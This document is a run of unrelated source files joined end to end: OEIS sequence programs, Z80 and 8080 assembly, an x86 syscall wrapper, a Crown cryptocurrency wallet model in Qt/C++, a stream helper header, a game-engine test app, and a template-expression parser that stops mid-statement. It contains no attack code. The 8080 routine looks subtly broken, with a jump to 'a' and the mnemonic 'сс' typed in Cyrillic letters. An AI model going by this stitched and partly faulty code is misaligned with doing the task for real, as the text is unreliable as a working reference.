; A081406: a(n) = (n+1)*a(n-3), a(0)=a(1)=a(2)=1 for n>1. ; 1,1,1,4,5,6,28,40,54,280,440,648,3640,6160,9720,58240,104720,174960,1106560,2094400,3674160,24344320,48171200,88179840,608608000,1252451200,2380855680,17041024000,36321084800,71425670400,528271744000,1162274713600,2357047123200,17961239296000,40679614976000,84853696435200,664565853952000,1545825369088000,3309294160972800,26582634158080000,63378840132608000,138990354760857600,1143053268797440000,2788668965834752000,6254565964238592000,52580450364682240000,131067441394233344000,300219166283452416000,2576442067869429760000,6553372069711667200000,15311177480456073216000,133974987529210347520000,347328719694718361600000,826803583944627953664000,7368624314106569113600000,19450408302904228249600000,47127804284843793358848000,427380210218181008588800000,1147574089871349466726400000,2827668257090627601530880000,26070192823309041523916800000,71149593572023666937036800000,178143100196709538896445440000,1668492340691778657530675200000,4624723582181538350907392000000,11757444612982829567165399040000,111788986826349170054555238400000,314481203588344607861702656000000,811263678295815240134412533760000,7825229077844441903818866688000000,22328165454772467158180888576000000,58410984837298697289677702430720000,571241722682644258978777268224000000 add $0,1 mov $2,100 lpb $0 mov $1,$2 mul $2,$0 sub $0,1 trn $0,2 lpe div $1,100 mov $0,$1
; =============================================================== ; Dec 2013 ; =============================================================== ; ; void *obstack_base(struct obstack *ob) ; ; Returns the address of the currently growing object. ; ; =============================================================== SECTION code_clib SECTION code_alloc_obstack PUBLIC obstack_base EXTERN asm_obstack_base defc obstack_base = asm_obstack_base ; SDCC bridge for Classic IF __CLASSIC PUBLIC _obstack_base defc _obstack_base = obstack_base ENDIF
; A041589: Denominators of continued fraction convergents to sqrt(312). ; Submitted by Jon Maiga ; 1,1,2,3,104,107,211,318,11023,11341,22364,33705,1168334,1202039,2370373,3572412,123832381,127404793,251237174,378641967,13125064052,13503706019,26628770071,40132476090,1391132957131,1431265433221,2822398390352,4253663823573,147446968391834,151700632215407,299147600607241,450848232822648,15627987516577273,16078835749399921,31706823265977194,47785659015377115,1656419229788799104,1704204888804176219,3360624118592975323,5064829007397151542,175564810370096127751,180629639377493279293 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 mov $3,$1 mov $1,$2 dif $2,3 mod $2,$1 mul $2,99 add $3,$2 mov $2,$1 lpe mov $0,$1
SECTION code_fp_math32 PUBLIC ___fs2slong_callee EXTERN cm32_sdcc___fs2slong_callee defc ___fs2slong_callee = cm32_sdcc___fs2slong_callee
main: in 35 call cnt mov e, a in 36 call cnt mov d, a call comp out 37 call slp mvi a, 00 out 37 hlt cnt: mvi b, 00 mvi c, 08 cnt_for: rlc jnc cnt_no inr b cnt_no: jnz a mov a, b ret slp: mvi c, FF slp_for: mvi b, FF slp_for_inner: nop dcr b jnz slp_for_inner dcr c jnz slp_for ret comp: mov a, e cmp d jnz comp_each mvi a, C0 ret comp_each: cmp d сс comp_sec mvi a, 80 ret comp_sec: mvi a, 40 ret
; void *z80_indr(void *dst, uint8_t port, uint8_t num) SECTION code_clib SECTION code_z80 PUBLIC _z80_indr EXTERN asm_z80_indr _z80_indr: pop af pop hl pop bc push bc push hl push af jp asm_z80_indr
GLOBAL syscall GLOBAL haltAsm ; syscall: Esta funcion en asembler se utiliza para, desde C, llamar a las syscalls con ints. ; parametros: rdi, rsi, rdx y rcx. ; retorna nada. syscall: push rbp mov rbp, rsp ; El orden de las syscalls es rax, rbx, rcx y rdx. ; El orden de las funciones en C son rdi, rsi, rdx, rcx, r8 y r9. ; Aca solamente tengo que redistribuir los registros. mov r8, rdx ; Pongo rdx en r8 para alternarlo con rcx. mov rdx, rcx mov rcx, r8 mov rax, rdi mov rbx, rsi mov rsp, rbp pop rbp int 80h ret haltAsm: hlt
// Copyright (c) 2011-2014 The Bitcoin developers // Copyright (c) 2014-2015 The Crown developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "walletmodel.h" #include "addresstablemodel.h" #include "guiconstants.h" #include "recentrequeststablemodel.h" #include "transactiontablemodel.h" #include "base58.h" #include "db.h" #include "keystore.h" #include "main.h" #include "sync.h" #include "ui_interface.h" #include "wallet.h" #include "walletdb.h" // for BackupWallet #include "spork.h" #include <stdint.h> #include <QDebug> #include <QSet> #include <QTimer> using namespace std; WalletModel::WalletModel(CWallet *wallet, OptionsModel *optionsModel, QObject *parent) : QObject(parent), wallet(wallet), optionsModel(optionsModel), addressTableModel(0), transactionTableModel(0), recentRequestsTableModel(0), cachedBalance(0), cachedUnconfirmedBalance(0), cachedImmatureBalance(0), cachedEncryptionStatus(Unencrypted), cachedNumBlocks(0) { fHaveWatchOnly = wallet->HaveWatchOnly(); fForceCheckBalanceChanged = false; addressTableModel = new AddressTableModel(wallet, this); transactionTableModel = new TransactionTableModel(wallet, this); recentRequestsTableModel = new RecentRequestsTableModel(wallet, this); // This timer will be fired repeatedly to update the balance pollTimer = new QTimer(this); connect(pollTimer, SIGNAL(timeout()), this, SLOT(pollBalanceChanged())); pollTimer->start(MODEL_UPDATE_DELAY); subscribeToCoreSignals(); } WalletModel::~WalletModel() { unsubscribeFromCoreSignals(); } CAmount WalletModel::getBalance(const CCoinControl *coinControl) const { if (coinControl) { CAmount nBalance = 0; std::vector<COutput> vCoins; wallet->AvailableCoins(vCoins, true, coinControl); BOOST_FOREACH(const COutput& out, vCoins) if(out.fSpendable) nBalance += out.tx->vout[out.i].nValue; return nBalance; } return wallet->GetBalance(); } CAmount WalletModel::getUnconfirmedBalance() const { return wallet->GetUnconfirmedBalance(); } CAmount WalletModel::getImmatureBalance() const { return wallet->GetImmatureBalance(); } bool WalletModel::haveWatchOnly() const { return fHaveWatchOnly; } CAmount WalletModel::getWatchBalance() const { return wallet->GetWatchOnlyBalance(); } CAmount WalletModel::getWatchUnconfirmedBalance() const { return wallet->GetUnconfirmedWatchOnlyBalance(); } CAmount WalletModel::getWatchImmatureBalance() const { return wallet->GetImmatureWatchOnlyBalance(); } void WalletModel::updateStatus() { EncryptionStatus newEncryptionStatus = getEncryptionStatus(); if(cachedEncryptionStatus != newEncryptionStatus) emit encryptionStatusChanged(newEncryptionStatus); } void WalletModel::pollBalanceChanged() { // Get required locks upfront. This avoids the GUI from getting stuck on // periodical polls if the core is holding the locks for a longer time - // for example, during a wallet rescan. TRY_LOCK(cs_main, lockMain); if(!lockMain) return; TRY_LOCK(wallet->cs_wallet, lockWallet); if(!lockWallet) return; if(fForceCheckBalanceChanged || chainActive.Height() != cachedNumBlocks || cachedTxLocks != GetInstantSend().GetCompleteLocksCount()) { fForceCheckBalanceChanged = false; // Balance and number of transactions might have changed cachedNumBlocks = chainActive.Height(); checkBalanceChanged(); if(transactionTableModel){ transactionTableModel->updateConfirmations(); } } } void WalletModel::checkBalanceChanged() { TRY_LOCK(cs_main, lockMain); if(!lockMain) return; CAmount newBalance = getBalance(); CAmount newUnconfirmedBalance = getUnconfirmedBalance(); CAmount newImmatureBalance = getImmatureBalance(); CAmount newWatchOnlyBalance = 0; CAmount newWatchUnconfBalance = 0; CAmount newWatchImmatureBalance = 0; if (haveWatchOnly()) { newWatchOnlyBalance = getWatchBalance(); newWatchUnconfBalance = getWatchUnconfirmedBalance(); newWatchImmatureBalance = getWatchImmatureBalance(); } if(cachedBalance != newBalance || cachedUnconfirmedBalance != newUnconfirmedBalance || cachedImmatureBalance != newImmatureBalance || cachedTxLocks != GetInstantSend().GetCompleteLocksCount() || cachedWatchOnlyBalance != newWatchOnlyBalance || cachedWatchUnconfBalance != newWatchUnconfBalance || cachedWatchImmatureBalance != newWatchImmatureBalance) { cachedBalance = newBalance; cachedUnconfirmedBalance = newUnconfirmedBalance; cachedImmatureBalance = newImmatureBalance; cachedTxLocks = GetInstantSend().GetCompleteLocksCount(); cachedWatchOnlyBalance = newWatchOnlyBalance; cachedWatchUnconfBalance = newWatchUnconfBalance; cachedWatchImmatureBalance = newWatchImmatureBalance; emit balanceChanged(newBalance, newUnconfirmedBalance, newImmatureBalance, newWatchOnlyBalance, newWatchUnconfBalance, newWatchImmatureBalance); } } void WalletModel::updateTransaction() { // Balance and number of transactions might have changed fForceCheckBalanceChanged = true; } void WalletModel::updateAddressBook(const QString &address, const QString &label, bool isMine, const QString &purpose, int status) { if(addressTableModel) addressTableModel->updateEntry(address, label, isMine, purpose, status); } void WalletModel::updateWatchOnlyFlag(bool fHaveWatchonly) { fHaveWatchOnly = fHaveWatchonly; emit notifyWatchonlyChanged(fHaveWatchonly); } bool WalletModel::validateAddress(const QString &address) { CBitcoinAddress addressParsed(address.toStdString()); return addressParsed.IsValid(); } WalletModel::SendCoinsReturn WalletModel::prepareTransaction(WalletModelTransaction &transaction, const CCoinControl *coinControl) { CAmount total = 0; QList<SendCoinsRecipient> recipients = transaction.getRecipients(); std::vector<CRecipient > vecSend; if(recipients.empty()) { return OK; } QSet<QString> setAddress; // Used to detect duplicates int nAddresses = 0; // Pre-check input data for validity foreach(const SendCoinsRecipient &rcp, recipients) { if (rcp.paymentRequest.IsInitialized()) { // PaymentRequest... CAmount subtotal = 0; const payments::PaymentDetails& details = rcp.paymentRequest.getDetails(); for (int i = 0; i < details.outputs_size(); i++) { const payments::Output& out = details.outputs(i); if (out.amount() <= 0) continue; subtotal += out.amount(); const unsigned char* scriptStr = (const unsigned char*)out.script().data(); CScript scriptPubKey(scriptStr, scriptStr+out.script().size()); vecSend.push_back(CRecipient(scriptPubKey, out.amount(), false)); } if (subtotal <= 0) { return InvalidAmount; } total += subtotal; } else { // User-entered crown address / amount: if(!validateAddress(rcp.address)) { return InvalidAddress; } if(rcp.amount <= 0) { return InvalidAmount; } setAddress.insert(rcp.address); ++nAddresses; CScript scriptPubKey = GetScriptForDestination(CBitcoinAddress(rcp.address.toStdString()).Get()); vecSend.push_back(CRecipient(scriptPubKey, rcp.amount, false)); total += rcp.amount; } } if(setAddress.size() != nAddresses) { return DuplicateAddress; } CAmount nBalance = getBalance(coinControl); if(total > nBalance) { return AmountExceedsBalance; } { LOCK2(cs_main, wallet->cs_wallet); transaction.newPossibleKeyChange(wallet); CAmount nFeeRequired = 0; std::string strFailReason; CWalletTx *newTx = transaction.getTransaction(); CReserveKey *keyChange = transaction.getPossibleKeyChange(); int nChangePosRet = -1; bool fCreated = wallet->CreateTransaction(vecSend, *newTx, *keyChange, nFeeRequired, nChangePosRet, strFailReason, coinControl, true, recipients[0].inputType); transaction.setTransactionFee(nFeeRequired); if(!fCreated) { if((total + nFeeRequired) > nBalance) { return SendCoinsReturn(AmountWithFeeExceedsBalance); } emit message(tr("Send Coins"), QString::fromStdString(strFailReason), CClientUIInterface::MSG_ERROR); return TransactionCreationFailed; } // reject insane fee if (nFeeRequired > ::minRelayTxFee.GetFee(transaction.getTransactionSize()) * 10000) return InsaneFee; } return SendCoinsReturn(OK); } WalletModel::SendCoinsReturn WalletModel::sendCoins(WalletModelTransaction &transaction) { QByteArray transaction_array; /* store serialized transaction */ { LOCK2(cs_main, wallet->cs_wallet); CWalletTx *newTx = transaction.getTransaction(); QList<SendCoinsRecipient> recipients = transaction.getRecipients(); // Store PaymentRequests in wtx.vOrderForm in wallet. foreach(const SendCoinsRecipient &rcp, recipients) { if (rcp.paymentRequest.IsInitialized()) { std::string key("PaymentRequest"); std::string value; rcp.paymentRequest.SerializeToString(&value); newTx->vOrderForm.push_back(make_pair(key, value)); } else if (!rcp.message.isEmpty()) // Message from normal crown:URI (crown:XyZ...?message=example) { newTx->vOrderForm.push_back(make_pair("Message", rcp.message.toStdString())); } } CReserveKey *keyChange = transaction.getPossibleKeyChange(); transaction.getRecipients(); if(!wallet->CommitTransaction(*newTx, *keyChange)) return TransactionCommitFailed; CTransaction* t = (CTransaction*)newTx; CDataStream ssTx(SER_NETWORK, PROTOCOL_VERSION); ssTx << *t; transaction_array.append(&(ssTx[0]), ssTx.size()); } // Add addresses / update labels that we've sent to to the address book, // and emit coinsSent signal for each recipient foreach(const SendCoinsRecipient &rcp, transaction.getRecipients()) { // Don't touch the address book when we have a payment request if (!rcp.paymentRequest.IsInitialized()) { std::string strAddress = rcp.address.toStdString(); CTxDestination dest = CBitcoinAddress(strAddress).Get(); std::string strLabel = rcp.label.toStdString(); { LOCK(wallet->cs_wallet); std::map<CTxDestination, CAddressBookData>::iterator mi = wallet->mapAddressBook.find(dest); // Check if we have a new address or an updated label if (mi == wallet->mapAddressBook.end()) { wallet->SetAddressBook(dest, strLabel, "send"); } else if (mi->second.name != strLabel) { wallet->SetAddressBook(dest, strLabel, ""); // "" means don't change purpose } } } emit coinsSent(wallet, rcp, transaction_array); } checkBalanceChanged(); // update balance immediately, otherwise there could be a short noticeable delay until pollBalanceChanged hits return SendCoinsReturn(OK); } OptionsModel *WalletModel::getOptionsModel() { return optionsModel; } AddressTableModel *WalletModel::getAddressTableModel() { return addressTableModel; } TransactionTableModel *WalletModel::getTransactionTableModel() { return transactionTableModel; } RecentRequestsTableModel *WalletModel::getRecentRequestsTableModel() { return recentRequestsTableModel; } WalletModel::EncryptionStatus WalletModel::getEncryptionStatus() const { if(!wallet->IsCrypted()) { return Unencrypted; } else if(wallet->IsLocked()) { return Locked; } else { return Unlocked; } } bool WalletModel::setWalletEncrypted(bool encrypted, const SecureString &passphrase) { if(encrypted) { // Encrypt return wallet->EncryptWallet(passphrase); } else { // Decrypt -- TODO; not supported yet return false; } } bool WalletModel::setWalletLocked(bool locked, const SecureString &passPhrase) { if(locked) { // Lock return wallet->Lock(); } else { // Unlock return wallet->Unlock(passPhrase); } } bool WalletModel::changePassphrase(const SecureString &oldPass, const SecureString &newPass) { bool retval; { LOCK(wallet->cs_wallet); wallet->Lock(); // Make sure wallet is locked before attempting pass change retval = wallet->ChangeWalletPassphrase(oldPass, newPass); } return retval; } bool WalletModel::backupWallet(const QString &filename) { return BackupWallet(*wallet, filename.toLocal8Bit().data()); } // Handlers for core signals static void NotifyKeyStoreStatusChanged(WalletModel *walletmodel, CCryptoKeyStore *wallet) { qDebug() << "NotifyKeyStoreStatusChanged"; QMetaObject::invokeMethod(walletmodel, "updateStatus", Qt::QueuedConnection); } static void NotifyAddressBookChanged(WalletModel *walletmodel, CWallet *wallet, const CTxDestination &address, const std::string &label, bool isMine, const std::string &purpose, ChangeType status) { QString strAddress = QString::fromStdString(CBitcoinAddress(address).ToString()); QString strLabel = QString::fromStdString(label); QString strPurpose = QString::fromStdString(purpose); qDebug() << "NotifyAddressBookChanged : " + strAddress + " " + strLabel + " isMine=" + QString::number(isMine) + " purpose=" + strPurpose + " status=" + QString::number(status); QMetaObject::invokeMethod(walletmodel, "updateAddressBook", Qt::QueuedConnection, Q_ARG(QString, strAddress), Q_ARG(QString, strLabel), Q_ARG(bool, isMine), Q_ARG(QString, strPurpose), Q_ARG(int, status)); } // queue notifications to show a non freezing progress dialog e.g. for rescan static bool fQueueNotifications = false; static std::vector<std::pair<uint256, ChangeType> > vQueueNotifications; static void NotifyTransactionChanged(WalletModel *walletmodel, CWallet *wallet, const uint256 &hash, ChangeType status) { if (fQueueNotifications) { vQueueNotifications.push_back(make_pair(hash, status)); return; } QString strHash = QString::fromStdString(hash.GetHex()); qDebug() << "NotifyTransactionChanged : " + strHash + " status= " + QString::number(status); QMetaObject::invokeMethod(walletmodel, "updateTransaction", Qt::QueuedConnection/*, Q_ARG(QString, strHash), Q_ARG(int, status)*/); } static void ShowProgress(WalletModel *walletmodel, const std::string &title, int nProgress) { // emits signal "showProgress" QMetaObject::invokeMethod(walletmodel, "showProgress", Qt::QueuedConnection, Q_ARG(QString, QString::fromStdString(title)), Q_ARG(int, nProgress)); } static void NotifyWatchonlyChanged(WalletModel *walletmodel, bool fHaveWatchonly) { QMetaObject::invokeMethod(walletmodel, "updateWatchOnlyFlag", Qt::QueuedConnection, Q_ARG(bool, fHaveWatchonly)); } void WalletModel::subscribeToCoreSignals() { // Connect signals to wallet wallet->NotifyStatusChanged.connect(boost::bind(&NotifyKeyStoreStatusChanged, this, _1)); wallet->NotifyAddressBookChanged.connect(boost::bind(NotifyAddressBookChanged, this, _1, _2, _3, _4, _5, _6)); wallet->NotifyTransactionChanged.connect(boost::bind(NotifyTransactionChanged, this, _1, _2, _3)); wallet->ShowProgress.connect(boost::bind(ShowProgress, this, _1, _2)); wallet->NotifyWatchonlyChanged.connect(boost::bind(NotifyWatchonlyChanged, this, _1)); } void WalletModel::unsubscribeFromCoreSignals() { // Disconnect signals from wallet wallet->NotifyStatusChanged.disconnect(boost::bind(&NotifyKeyStoreStatusChanged, this, _1)); wallet->NotifyAddressBookChanged.disconnect(boost::bind(NotifyAddressBookChanged, this, _1, _2, _3, _4, _5, _6)); wallet->NotifyTransactionChanged.disconnect(boost::bind(NotifyTransactionChanged, this, _1, _2, _3)); wallet->ShowProgress.disconnect(boost::bind(ShowProgress, this, _1, _2)); wallet->NotifyWatchonlyChanged.disconnect(boost::bind(NotifyWatchonlyChanged, this, _1)); } // WalletModel::UnlockContext implementation WalletModel::UnlockContext WalletModel::requestUnlock(bool relock) { bool was_locked = getEncryptionStatus() == Locked; if (!was_locked) { setWalletLocked(true); was_locked = getEncryptionStatus() == Locked; } if(was_locked) { // Request UI to unlock wallet emit requireUnlock(); } // If wallet is still locked, unlock was failed or cancelled, mark context as invalid bool valid = getEncryptionStatus() != Locked; return UnlockContext(this, valid, relock); // return UnlockContext(this, valid, was_locked); } WalletModel::UnlockContext::UnlockContext(WalletModel *wallet, bool valid, bool relock): wallet(wallet), valid(valid), relock(relock) { } WalletModel::UnlockContext::~UnlockContext() { if(valid && relock) { wallet->setWalletLocked(true); } } void WalletModel::UnlockContext::CopyFrom(const UnlockContext& rhs) { // Transfer context; old object no longer relocks wallet *this = rhs; rhs.relock = false; } bool WalletModel::getPubKey(const CKeyID &address, CPubKey& vchPubKeyOut) const { return wallet->GetPubKey(address, vchPubKeyOut); } // returns a list of COutputs from COutPoints void WalletModel::getOutputs(const std::vector<COutPoint>& vOutpoints, std::vector<COutput>& vOutputs) { LOCK2(cs_main, wallet->cs_wallet); BOOST_FOREACH(const COutPoint& outpoint, vOutpoints) { if (!wallet->mapWallet.count(outpoint.hash)) continue; int nDepth = wallet->mapWallet[outpoint.hash].GetDepthInMainChain(); if (nDepth < 0) continue; COutput out(&wallet->mapWallet[outpoint.hash], outpoint.n, nDepth, true); vOutputs.push_back(out); } } bool WalletModel::isSpent(const COutPoint& outpoint) const { LOCK2(cs_main, wallet->cs_wallet); return wallet->IsSpent(outpoint.hash, outpoint.n); } // AvailableCoins + LockedCoins grouped by wallet address (put change in one group with wallet address) void WalletModel::listCoins(std::map<QString, std::vector<COutput> >& mapCoins) const { std::vector<COutput> vCoins; wallet->AvailableCoins(vCoins); LOCK2(cs_main, wallet->cs_wallet); // ListLockedCoins, mapWallet std::vector<COutPoint> vLockedCoins; wallet->ListLockedCoins(vLockedCoins); // add locked coins BOOST_FOREACH(const COutPoint& outpoint, vLockedCoins) { if (!wallet->mapWallet.count(outpoint.hash)) continue; int nDepth = wallet->mapWallet[outpoint.hash].GetDepthInMainChain(); if (nDepth < 0) continue; COutput out(&wallet->mapWallet[outpoint.hash], outpoint.n, nDepth, true); if (outpoint.n < out.tx->vout.size() && wallet->IsMine(out.tx->vout[outpoint.n]) == ISMINE_SPENDABLE) vCoins.push_back(out); } BOOST_FOREACH(const COutput& out, vCoins) { COutput cout = out; while (wallet->IsChange(cout.tx->vout[cout.i]) && cout.tx->vin.size() > 0 && wallet->IsMine(cout.tx->vin[0])) { if (!wallet->mapWallet.count(cout.tx->vin[0].prevout.hash)) break; cout = COutput(&wallet->mapWallet[cout.tx->vin[0].prevout.hash], cout.tx->vin[0].prevout.n, 0, true); } CTxDestination address; if(!out.fSpendable || !ExtractDestination(cout.tx->vout[cout.i].scriptPubKey, address)) continue; mapCoins[QString::fromStdString(CBitcoinAddress(address).ToString())].push_back(out); } } bool WalletModel::isLockedCoin(uint256 hash, unsigned int n) const { LOCK2(cs_main, wallet->cs_wallet); return wallet->IsLockedCoin(hash, n); } void WalletModel::lockCoin(COutPoint& output) { LOCK2(cs_main, wallet->cs_wallet); wallet->LockCoin(output); } void WalletModel::unlockCoin(COutPoint& output) { LOCK2(cs_main, wallet->cs_wallet); wallet->UnlockCoin(output); } void WalletModel::listLockedCoins(std::vector<COutPoint>& vOutpts) { LOCK2(cs_main, wallet->cs_wallet); wallet->ListLockedCoins(vOutpts); } void WalletModel::loadReceiveRequests(std::vector<std::string>& vReceiveRequests) { LOCK(wallet->cs_wallet); BOOST_FOREACH(const PAIRTYPE(CTxDestination, CAddressBookData)& item, wallet->mapAddressBook) BOOST_FOREACH(const PAIRTYPE(std::string, std::string)& item2, item.second.destdata) if (item2.first.size() > 2 && item2.first.substr(0,2) == "rr") // receive request vReceiveRequests.push_back(item2.second); } bool WalletModel::saveReceiveRequest(const std::string &sAddress, const int64_t nId, const std::string &sRequest) { CTxDestination dest = CBitcoinAddress(sAddress).Get(); std::stringstream ss; ss << nId; std::string key = "rr" + ss.str(); // "rr" prefix = "receive request" in destdata LOCK(wallet->cs_wallet); if (sRequest.empty()) return wallet->EraseDestData(dest, key); else return wallet->AddDestData(dest, key, sRequest); } CWallet* WalletModel::getWallet() { return wallet; }
#ifndef __Stream_COutputStreamHelper_HPP__ #define __Stream_COutputStreamHelper_HPP__ #include "IOutputStreamHelper.h" namespace Stream { class COutputStreamHelper : public Stream::IOutputStreamHelper { public: COutputStreamHelper(Stream::IOutputStream& rOutputStream); virtual ~COutputStreamHelper(void); virtual Stream::boolean setBufferSize(Stream::uint64 ui64BufferSize); virtual Stream::uint64 getBufferSize(void); virtual Stream::uint64 getBufferFill(void); virtual Stream::boolean open(void); virtual Stream::boolean isOpened(void); virtual Stream::boolean isFinished(void); virtual Stream::boolean close(void); virtual Stream::uint64 sendBuffer(Stream::uint8* pBuffer, const Stream::uint64 ui64BufferSize); virtual Stream::boolean setEndianness(const Stream::EEndianness& eEndianness); virtual Stream::EEndianness getEndianness(void); virtual Stream::boolean sendUInteger8(Stream::uint8 uiValue); virtual Stream::boolean sendUInteger16(Stream::uint16 uiValue); virtual Stream::boolean sendUInteger32(Stream::uint32 uiValue); virtual Stream::boolean sendUInteger64(Stream::uint64 uiValue); virtual Stream::boolean sendSInteger8(Stream::int8 iValue); virtual Stream::boolean sendSInteger16(Stream::int16 iValue); virtual Stream::boolean sendSInteger32(Stream::int32 iValue); virtual Stream::boolean sendSInteger64(Stream::int64 iValue); virtual Stream::boolean sendFloat32(Stream::float32 fValue); virtual Stream::boolean sendFloat64(Stream::float64 fValue); virtual Stream::boolean sendASCIIString(const char* sString); virtual Stream::boolean sendUTF8String(const Stream::uint8* sString); virtual Stream::boolean sendUTF16String(const Stream::uint16* sString); private: COutputStreamHelper(void); template <typename T> Stream::boolean sendUInteger(const T& rValue); protected: Stream::IOutputStream& m_rOutputStream; Stream::EEndianness m_eEndianness; }; }; #endif // __Stream_COutputStreamHelper_HPP__
#include "MainApp.hpp" #include <Files/Files.hpp> #include <Inputs/Input.hpp> #include <Devices/Mouse.hpp> #include <Graphics/Graphics.hpp> #include <Scenes/Scenes.hpp> #include <Timers/Timers.hpp> #include "MainRenderer.hpp" #include "Scenes/Scene1.hpp" #include "World/World.hpp" #include "Resources/Resources.hpp" int main(int argc, char **argv) { using namespace test; // Creates the engine. auto engine = std::make_unique<Engine>(argv[0]); engine->SetApp(std::make_unique<MainApp>()); // Runs the game loop. auto exitCode = engine->Run(); // Pauses the console. std::cout << "Press enter to continue..."; std::cin.get(); return exitCode; } namespace test { MainApp::MainApp() : App("Test Physics", {1, 0, 0}) { // Registers file search paths. #if defined(ACID_PACKED_RESOURCES) for (auto &file : std::filesystem::directory_iterator(std::filesystem::current_path())) { if (String::StartsWith(file.path().string(), "data-")) Files::Get()->AddSearchPath(file.path().string()); } #else Files::Get()->AddSearchPath("Resources/Engine"); #endif // Loads a input scheme for this app. Input::Get()->AddScheme("Default", std::make_unique<InputScheme>("InputSchemes/DefaultPhysics.json"), true); Input::Get()->GetButton("fullscreen")->OnButton().Add([this](InputAction action, BitMask<InputMod> mods) { if (action == InputAction::Press) { Window::Get()->SetFullscreen(!Window::Get()->IsFullscreen()); } }, this); Input::Get()->GetButton("screenshot")->OnButton().Add([this](InputAction action, BitMask<InputMod> mods) { if (action == InputAction::Press) { Resources::Get()->GetThreadPool().Enqueue([]() { Graphics::Get()->CaptureScreenshot(Time::GetDateTime("Screenshots/%Y%m%d%H%M%S.png")); }); } }, this); Input::Get()->GetButton("exit")->OnButton().Add([this](InputAction action, BitMask<InputMod> mods) { if (action == InputAction::Press) { Engine::Get()->RequestClose(); } }, this); // Registers modules. World::Register(Module::Stage::Always); //Shadows::Deregister(); } MainApp::~MainApp() { m_configManager.Save(); // TODO: Only clear our search paths (leave Engine resources alone!) Files::Get()->ClearSearchPath(); Graphics::Get()->SetRenderer(nullptr); Scenes::Get()->SetScene(nullptr); } void MainApp::Start() { m_configManager.Load(); Log::Out("Current DateTime: ", Time::GetDateTime(), '\n'); Log::Out("Working Directory: ", std::filesystem::current_path(), '\n'); Timers::Get()->Once(0.333s, []() { Log::Out("Timer Hello World!\n"); }); Timers::Get()->Every(3s, []() { Log::Out(Engine::Get()->GetFps(), " fps, ", Engine::Get()->GetUps(), " ups\n"); }); Timers::Get()->Repeat(2s, 3, []() { static uint32_t i = 0; Log::Out("Timer Repeat Tick #", i, '\n'); i++; }); // Sets values to modules. Window::Get()->SetTitle("Test Physics"); Window::Get()->SetIcons({ "Icons/Icon-16.png", "Icons/Icon-24.png", "Icons/Icon-32.png", "Icons/Icon-48.png", "Icons/Icon-64.png", "Icons/Icon-96.png", "Icons/Icon-128.png", "Icons/Icon-192.png", "Icons/Icon-256.png" }); //Mouse::Get()->SetCursor("Guis/Cursor.png", CursorHotspot::UpperLeft); Graphics::Get()->SetRenderer(std::make_unique<MainRenderer>()); Scenes::Get()->SetScene(std::make_unique<Scene1>()); } void MainApp::Update() { } }
// This is an open source non-commercial project. Dear PVS-Studio, please check it. // PVS-Studio Static Code Analyzer for C, C++ and C#: http://www.viva64.com /** Copyright (c) 2016 Roman Katuntsev <sbkarr@stappler.org> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. **/ #include "Define.h" #include "TemplateExpression.h" NS_SA_EXT_BEGIN(tpl) bool Expression::readOperand(Node **node, StringView &r, Op op) { r.skipChars<Group<GroupId::WhiteSpace>>(); bool isRoot = true; // read unary operators if (op != Dot && op != Colon && op != Sharp) { while (r.is("not ") || r.is('!') || r.is('-') || r.is('+')) { if (!isRoot && !r.is('+')) { (*node)->left = new Node{Op::NoOp}; node = &(*node)->left; } else { isRoot = r.is('+'); } if (r.is('!')) { ++ r; (*node)->op = Op::Neg; } else if (r.is('-')) { ++ r; (*node)->op = Op::Minus; } else if (r.is("not ")) { r.skipString("not "); (*node)->op = Op::Neg; } else if (r.is('+')) { ++ r; } r.skipChars<Group<GroupId::WhiteSpace>>(); } } // read as expression if (r.is('(')) { return readExpression(node, r); } // read as literal return readOperandValue(*node, r, op); } bool Expression::readOperandValue(Node *current, StringView &r, Op op) { bool ret = false; if (r.is('\'')) { // string literal variant 1 auto tmp = r; ++ r; while (!r.empty() && !r.is('\'')) { r.skipUntil<Chars<'\'', '\\'>>(); if (r.is('\\')) { r += 2; } } if (r.is('\'')) { ++ r; auto value = StringView(tmp.data(), tmp.size() - r.size()); current->value.assign_weak(value.data(), value.size()); ret = true; } } else if (r.is('"')) { // string literal variant 2 auto tmp = r; ++ r; while (!r.empty() && !r.is('"')) { r.skipUntil<Chars<'"', '\\'>>(); if (r.is('\\')) { r += 2; } } if (r.is('"')) { ++ r; auto value = StringView(tmp.data(), tmp.size() - r.size()); current->value.assign_weak(value.data(), value.size()); ret = true; } } else if (r.is('$')) { // variable literal auto tmp = r; ++ r; r.skipChars<Group<GroupId::Alphanumeric>, Chars<'_'>>(); auto value = StringView(tmp.data(), tmp.size() - r.size()); current->value.assign_weak(value.data(), value.size()); ret = true; } else if (r.is<Group<GroupId::Numbers>>()) { // numeric literal auto tmp = r; r.skipChars<Group<GroupId::Numbers>>(); if (r.is('.')) { ++ r; r.skipChars<Group<GroupId::Numbers>>(); } if (r.is('E') || r.is('e')) { ++ r; if (r.is('+') || r.is('-')) { ++ r; } r.skipChars<Group<GroupId::Numbers>>(); } auto value = StringView(tmp.data(), tmp.size() - r.size()); current->value.assign_weak(value.data(), value.size()); ret = true; } else { // keyword literal if (op == Dot || op == Colon || op == Sharp) { auto tmp = r; if (r.is('+') || r.is('-')) { ++ r; } r.skipChars<Group<GroupId::Alphanumeric>, Chars<'_'>>(); auto value = StringView(tmp.data(), tmp.size() - r.size()); current->value.assign_weak(value.data(), value.size()); ret = true; } else { auto value = r.readChars<Group<GroupId::Alphanumeric>>(); if (value.compare("true") || value.compare("false") || value.compare("null") || value.compare("NaN") || value.compare("inf")) { current->value.assign_weak(value.data(), value.size()); ret = 